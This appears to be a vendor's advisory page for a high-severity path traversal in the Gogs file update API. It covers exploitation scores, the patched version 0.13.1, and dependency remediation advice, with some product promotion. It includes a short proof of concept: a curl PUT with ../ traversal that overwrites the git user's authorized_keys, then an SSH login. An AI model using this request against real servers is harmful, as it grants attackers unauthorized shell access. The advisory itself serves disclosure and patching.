GHSA-qf5v-rp47-55gg is a high-severity (CVSS 8.8) Path Traversal vulnerability in gogs.io/gogs. EPSS puts its 30-day exploitation probability at 75.2% (100th percentile). A fix is available for gogs.io/gogs — see the affected versions and patch details below.
Path Traversal in file update API in gogs
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qf5v-rp47-55gg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-qf5v-rp47-55gg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE sits: patch-first territory.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the 50–90% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
gogs.io/gogsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Patches
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
-
Generate a Personal Access Tokens
-
Edit any file on the server with this
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' -
ssh connect to remote server
ssh -i temp git@localhost -p 10022
For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | gogs.io/gogs | all versions | 0.13.1go get gogs.io/gogs@v0.13.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gogs.io/gogs to 0.13.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qf5v-rp47-55gg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qf5v-rp47-55gg can be triaged on real exposure rather than presence alone.
Tailored to GHSA-qf5v-rp47-55gg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qf5v-rp47-55gg in your dependencies?
O3 Security finds GHSA-qf5v-rp47-55gg across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.